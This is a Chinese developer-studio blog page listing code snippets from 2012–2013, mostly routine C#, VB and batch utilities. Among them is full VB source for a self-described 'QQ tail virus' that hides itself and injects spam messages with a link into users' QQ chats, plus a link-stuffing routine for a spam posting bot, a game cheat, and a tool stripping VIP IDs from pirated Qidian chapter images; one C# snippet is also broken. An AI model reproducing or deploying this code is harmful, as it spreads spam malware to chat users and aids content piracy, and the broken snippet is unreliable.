易本地工作室-Ebend Software&Network Studio - 群发,采集,管理类软件定制开发服务【易本地工作室】
本工作室提供信息采集,管理,群发类软件定制服务,6年软件定制经验!

最近更新

C#源码 提取二级域名中的顶级域名函数

C#源码 提取二级域名中的顶级域名函数

public string GetDomainFromEJ(string sDomain)
       {
           string[] sList = new string[] { ".com.cn",".net.cn",".org.cn",".gov.cn",".ac.cn",".bj.cn",".sh.cn",".tj.cn",".cq.cn",".he.cn",".sx.cn",".nm.cn",".ln.cn",".jl.cn",".hl.cn",".js.cn",".zj.cn",".ah.cn",".fj.cn",".jx.cn",".sd.cn",".ha.cn",".hb.cn",".hn.cn",".gd.cn",".gx.cn",".hi.cn",".sc.cn",".gz.cn",".yn.cn",".xz.cn",".sn.cn",".gs.cn",".qh.cn",".nx.cn",".xj.cn",".tw.cn",".hk.cn",".mo.cn",".com",".net",".org",".biz",".info",".cc",".tv",".cn"};
           for (int i = 0; i < sList.Length; i++)
           {
               if (sDomain.Substring(sDomain.Length-sList[i].Length,sList[i].Length).ToLower()==sList[i])
               {
                   sDomain = sDomain.Substring(0, sDomain.Length - sList[i].Length);//去除域名后缀
                   if (sDomain.LastIndexOf(".") > 0)
                   {
                       sDomain = sDomain.Substring(sDomain.LastIndexOf("."), sDomain.Length - sDomain.LastIndexOf(".")) + sList[i];//二级域名,提取顶级域,顺便组合
                       if (sDomain.IndexOf(".") == 0) //第一个为小数点,去掉
                       {
                           sDomain = sDomain.Substring(1, sDomain.Length - 1);
                       }
                   }
                   else
                   {
                       sDomain += sList[i];//已是顶级域,组合返回
                   }
                   break;
               }
           }
           return sDomain;
       }


参与:256时间:2013/2/19C# 源码 二级域名
C#随机在字符串中插入指定个数的指定字符

今天在写一个通用发布系统(发贴机?)的时候,要在发布内容中随机插入关键词链接,就写了这么个函数,共有同样需要的同学使用!

string sCurContent = "abcdefgabcdefgabcdefgabcdefgabcdefgabcdefgabcdefgabcdefgabcdefgabcdefgabcdefgabcdefgabcdefgabcdefgabcdefgabcdefg";//待处理字符
           string sInsertText = "预插入的字符";//待插入字符
           int iNum=5;//要插入字符的个数
           int iStartPos = 0;//开始插入位置
           for (int i = 0; i < iNum; i++)
           {
               iMax = sCurContent.Length / iNum;
               Random seed = new Random(); 
               Random randomNum = new Random(seed.Next());
               if (iMax > 50)//字符较多的话,能使插入位置比较平均
               {
                   iStartPos + randomNum.Next(iMax - 10, iMax);
               }
               else
               {
                   iStartPos + randomNum.Next(iMax);
               }
               sCurContent = sCurContent.Insert(iStartPos, sInsertText);
           }
           //处理结束的sCurContent


参与:251时间:2013/1/16C#随机插入字符串
QQ消息尾巴(病毒?)VB源码

亲,代码就这么多,很简单,就是利用API查找QQ聊天窗口,然后发送指定消息,仅供研究之用哦!

发发广告神马的应该不犯法吧!

QQ消息尾巴

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Const GW_OWNER = 4
Private Const SW_HIDE = 0
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long       ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const REG_SZ = 1
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Private Const KEYEVENTF_KEYUP = &H2
Dim j As String
Dim k As String
Dim ii As Integer
Dim e, f As String
Private Declare Function SendInput Lib "user32.dll" (ByVal nInputs As Long, pInputs As GENERALINPUT, ByVal cbSize As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Const WM_GETTEXT = &HD
Const GW_HWNDNEXT = 2
Const SW_RESTORE = 9
Const VK_CONTROL = &H11
Const VK_V = 86
Const VK_RETURN = &HD
Const INPUT_KEYBOARD = 1
Private Type KEYBDINPUT
  wVk As Integer
  wScan As Integer
  dwFlags As Long
  time As Long
  dwExtraInfo As Long
End Type
Private Type GENERALINPUT
  dwType As Long
  xi(0 To 23) As Byte
End Type
Private Sub Form_Load()
Dim a As Long
Dim b As String
Dim c, d As String
Dim e1 As String
Dim e2 As String
Dim f1, f2 As Long
Me.Visible = False
a = GetWindow(Me.hwnd, GW_OWNER)
ShowWindow a, SW_HIDE
App.TaskVisible = False
End Sub
Private Sub Timer1_Timer()
  List1.Clear
    Dim hwnd As Long
    hwnd = 1
    Dim xx As Integer
    Dim S As String
    Dim str As String
    S = String(512, Chr(0))
    hwnd = FindWindow("TXGuiFoundation", vbNullString)
    '遍历窗口
    While (hwnd)
        GetClassName hwnd, ByVal S, Len(S) '取得窗口的类名
        '如果是QQ程序相关的窗口
        If Left(S, InStr(S, Chr(0)) - 1) = "TXGuiFoundation" Then
            '取得窗口的标题
            SendMessage hwnd, WM_GETTEXT, Len(S), ByVal S
            str = Left(S, InStr(S, Chr(0)) - 1)
            '过滤掉不需要的窗口,剩下的就是聊天窗口了(此处过滤可能不完整,如启动QQ时弹出的新闻框就没有过滤,根据需要修改)
            If Trim(str) <> "" And LCase(Left(Trim(str), 6)) <> "qq2010" And LCase(Left(Trim(str), 6)) <> "qq2009" And LCase(Trim(str)) <> "txfloatingwnd" And LCase(Trim(str)) <> "txmenuwindow" Then
                '将聊天的窗口名称、窗口句柄加入到list1中
                List1.AddItem S, 0
                List1.ItemData(0) = hwnd
            End If
        End If
        hwnd = GetWindow(hwnd, GW_HWNDNEXT)
    Wend
    If List1.ListCount > 0 Then List1.ListIndex = 0
     On Error Resume Next
 ii = ii + 1
If ii = 1111 Then ii = 1
Dim h As Long
Dim i As String
h = GetForegroundWindow()
i = Space(256)
GetWindowText h, i, 255
If Left(i, 1) = "与" And ii Mod 20 = 8 Then
j = Space(256)
j = i
Call mer
End If
End Sub
Sub mer()
If k <> j Then
Clipboard.Clear
Clipboard.SetText "你的电脑已经中了QQ尾巴病毒,嘿嘿!http://www.ebend.net"
keybd_event &H11, 0, 0, 0
keybd_event 86, 0, 0, 0
keybd_event 86, 0, KEYEVENTF_KEYUP, 0
keybd_event &H11, 0, KEYEVENTF_KEYUP, 0
keybd_event 13, 0, 0, 0
keybd_event 13, 0, KEYEVENTF_KEYUP, 0
keybd_event &H11, 0, 0, 0
keybd_event 13, 0, 0, 0
keybd_event 13, 0, KEYEVENTF_KEYUP, 0
keybd_event &H11, 0, KEYEVENTF_KEYUP, 0
k = Space(256)
k = j
End If
End Sub
Private Sub Timer2_Timer()
On Error Resume Next
    If List1.ListCount < 1 Then Exit Sub
    '将text1中要发送的内容拷贝到剪贴板
    Clipboard.Clear
    Clipboard.SetText "your system already have infected QQ tail virus!"
    Dim hwnd As Long
    hwnd = 0
    '设置要发送的窗口
    hwnd = List1.ItemData(List1.ListIndex)
    If hwnd = 0 Then Exit Sub
    ShowWindow hwnd, SW_RESTORE '如果窗口最小化,则将其恢复
    SetForegroundWindow hwnd    '置窗口到前台
    '定义发送按键结构变量
    Dim GInput(0 To 3) As GENERALINPUT
    Dim KInput As KEYBDINPUT
    '构造CTRL+V
    KInput.wVk = VK_CONTROL
    KInput.dwFlags = 0
    GInput(0).dwType = INPUT_KEYBOARD
    CopyMemory GInput(0).xi(0), KInput, Len(KInput)
    KInput.wVk = VK_V
    KInput.dwFlags = 0
    GInput(1).dwType = INPUT_KEYBOARD
    CopyMemory GInput(1).xi(0), KInput, Len(KInput)
    KInput.wVk = VK_CONTROL
    KInput.dwFlags = KEYEVENTF_KEYUP
    GInput(2).dwType = INPUT_KEYBOARD
    CopyMemory GInput(2).xi(0), KInput, Len(KInput)
    KInput.wVk = VK_V
    KInput.dwFlags = KEYEVENTF_KEYUP
    GInput(3).dwType = INPUT_KEYBOARD
    CopyMemory GInput(3).xi(0), KInput, Len(KInput)
    SendInput 4, GInput(0), Len(GInput(0))  '发送Ctrl+V
     '构造CTRL+RETURN
    KInput.wVk = VK_CONTROL
    KInput.dwFlags = 0
    GInput(0).dwType = INPUT_KEYBOARD
    CopyMemory GInput(0).xi(0), KInput, Len(KInput)
    KInput.wVk = VK_RETURN
    KInput.dwFlags = 0
    GInput(1).dwType = INPUT_KEYBOARD
    CopyMemory GInput(1).xi(0), KInput, Len(KInput)
    KInput.wVk = VK_CONTROL
    KInput.dwFlags = KEYEVENTF_KEYUP
    GInput(2).dwType = INPUT_KEYBOARD
    CopyMemory GInput(2).xi(0), KInput, Len(KInput)
    KInput.wVk = VK_RETURN
    KInput.dwFlags = KEYEVENTF_KEYUP
    GInput(3).dwType = INPUT_KEYBOARD
    CopyMemory GInput(3).xi(0), KInput, Len(KInput)
    SendInput 4, GInput(0), Len(GInput(0))  '发送Ctrl+Return
End Sub


参与:162时间:2012/12/11QQAPI病毒消息尾巴
VB利用API产生控件气泡提示效果

在窗体上建立一个TextBox命名为Text1吧

首先声明

Option Explicit
Dim tooltip As New clsTooptip

然后Form_Load代码

Private Sub Form_Load()
    Set tooltip.ParentControl = Text1 '气泡应用于哪个控件(要有Hwnd)
    tooltip.ToolTipTitle = "气泡标题" '气泡标题(不允许换行/字体粗体)
    tooltip.ToolTipText = "气泡内容" & vbCrLf & "123" '气泡内容(允许换行)
    tooltip.Create '创建气泡
End Sub

最后别忘记了将以下代码另存为CS类文件

参与:689时间:2012/12/11VBAPI气泡提示
QQ美女找茬大家来找茬外挂VB源码

多年以前写的一个程序,现在看看代码貌似蛮乱的,放在硬盘里也是放着,拿出来让大家研究下吧!

主要原理是截图对比,很简单,QQ也不会检测到的应该。

下载VB源码: 大家来找茬.zip

参与:362时间:2012/12/7QQ美女找茬大家来找茬外挂VB源码
起点VIP图片防封号处理类

没事写了这么一个DLL库文件

你可以用他来处理采集下来的起点VIP章节图片

功能包括去图片中的VIP ID号,图片缩水处理,加水印等功能

调用方式

C#调用:先添加引用,应用这个DLL文件,然后代码

ClassQDImgProcess CQDI = new ClassQDImgProcess();
CQDI.DoProc(AppDomain.CurrentDomain.BaseDirectory + "img.gif", true);

DLL文件下载:ClassQidianImgProcess.zip (包括DLL文件,水印文件,空白行文件(必须),起点VIP章节图片示例文件)

参与:304时间:2012/12/5起点采集VIP封号
利用BAT文件动态切换IP

因为公司办公室要设置固定IP才行,而家里的IP段和公司是不一样的,家里采用了DHCP机制,这样每次就得改IP设置,很是不方便,就写了这个脚本来动态切换,很流畅的说!
WINXP,WIN7测试通过~嘿嘿~
新建"IP切换脚本.bat"文件,将下列代码复制进去,保存,并加入启动项,这样每次开机的时候选择你的位置,就可以自动切换IP了~
代码很简单,如果要增加设置项,我想你看看就会明白了吧!

@echo off
color 0a
title IP切换脚本-Create by Adobo@qq.com
:start
@echo ---------------------------------
@echo 请选择你现在的位置:
@echo 1.家里面(启用DHCP)
@echo 2.办公室(固定IP)
@echo ---------------------------------
set /p sLocal=请选择: 
if %sLocal%==1 goto home
if %sLocal%==2 goto office
cls
@echo 选择错误,请重新选择
goto start
:home
@echo 正在设置无线网络连接为DHCP模式
netsh interface ip set address 无线网络连接 dhcp
goto end 
:office
@echo 正在设置无线网络连接为固定IP:10.253.1.80
netsh interface ip set address 无线网络连接 static 10.253.1.80 255.255.252.0 10.253.0.1 1
:end
echo 设置完成,自动退出


参与:135时间:2012/11/20IPBat动态切换
一个脚本取得WIN7下最高权限

有的时候我们在WIN7下面操作某些文件,如删除修改的时候提示权限不足,蛋疼啊!解决办法在这
将下列文件存另存为“取得WIN7所有权.reg”文件,然后运行注册,注册完毕之后,以后要对哪个文件或者文件夹操作,右键,选择“管理员取得所有权"大功告成,很实用的功能哦! WIN7用户必备哦!

Windows Registry Editor Version 5.00 
"NoWorkingDirectory"=""
[HKEY_CLASSES_ROOT\*\shell\runas\command] 
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
[HKEY_CLASSES_ROOT\exefile\shell\runas2] 
@="管理员取得所有权[By Ebend.net]"
"NoWorkingDirectory"=""
[HKEY_CLASSES_ROOT\exefile\shell\runas2\command] 
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
[HKEY_CLASSES_ROOT\Directory\shell\runas] 
@="管理员取得所有权[By Ebend.net]"
"NoWorkingDirectory"=""
[HKEY_CLASSES_ROOT\Directory\shell\runas\command] 
@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\shellex\ContextMenuHandlers\Copy To] 
@="{C2FBB630-2971-11D1-A18C-00C04FD75D13}"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\shellex\ContextMenuHandlers\Move To] 
@="{C2FBB631-2971-11D1-A18C-00C04FD75D13}"

 

参与:176时间:2012/11/20WIN7最高权限
C# 邮件发送类

C#程序中经常要发送邮件,尤其是编写一些监控程序的时候,发送邮件的好处不言而喻,再用个神马139邮箱,就可以通知到用户手机了,当然也可以用来邮件群发,这里封装了一个邮件发送类,亲,要不试试?或者你自己再优化优化也可以,因为为了做到通用性,SendMail函数给我做的实在是太累了,那么多参数要传递,我想你看的也累吧!

参与:288时间:2012/11/18C#SendMail发送邮件
C#中操作INI的类

本人觉得用INI存储文件比C#自带的那个什么CONFIG什么的要方便多了,简单易用,不那么蛋疼,速度共享!这里是采用API的方式来操作INI文件的!

using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
namespace 操作INI
{
     class Ini
    {
            // 声明INI文件的写操作函数 WritePrivateProfileString()
            [System.Runtime.InteropServices.DllImport("kernel32")]
            private static extern long WritePrivateProfileString(string section, string key, string val, string filePath);
            // 声明INI文件的读操作函数 GetPrivateProfileString()
            [System.Runtime.InteropServices.DllImport("kernel32")]
            private static extern int GetPrivateProfileString(string section, string key, string def, System.Text.StringBuilder retVal, int size, string filePath);
            private string sPath = null;
            public Ini(string path)
            {
                this.sPath = path;
            }
            public void Writue(string section, string key, string value)
            {
                // section=配置节,key=键名,value=键值,path=路径
                WritePrivateProfileString(section, key, value, sPath);
            }
            public string ReadValue(string section, string key)
            {
                // 每次从ini中读取多少字节
                System.Text.StringBuilder temp = new System.Text.StringBuilder(255);
                // section=配置节,key=键名,temp=上面,path=路径
                GetPrivateProfileString(section, key, "", temp, 255, sPath);
                return temp.ToString();
            }
    }
}


参与:89时间:2012/11/18C#INI类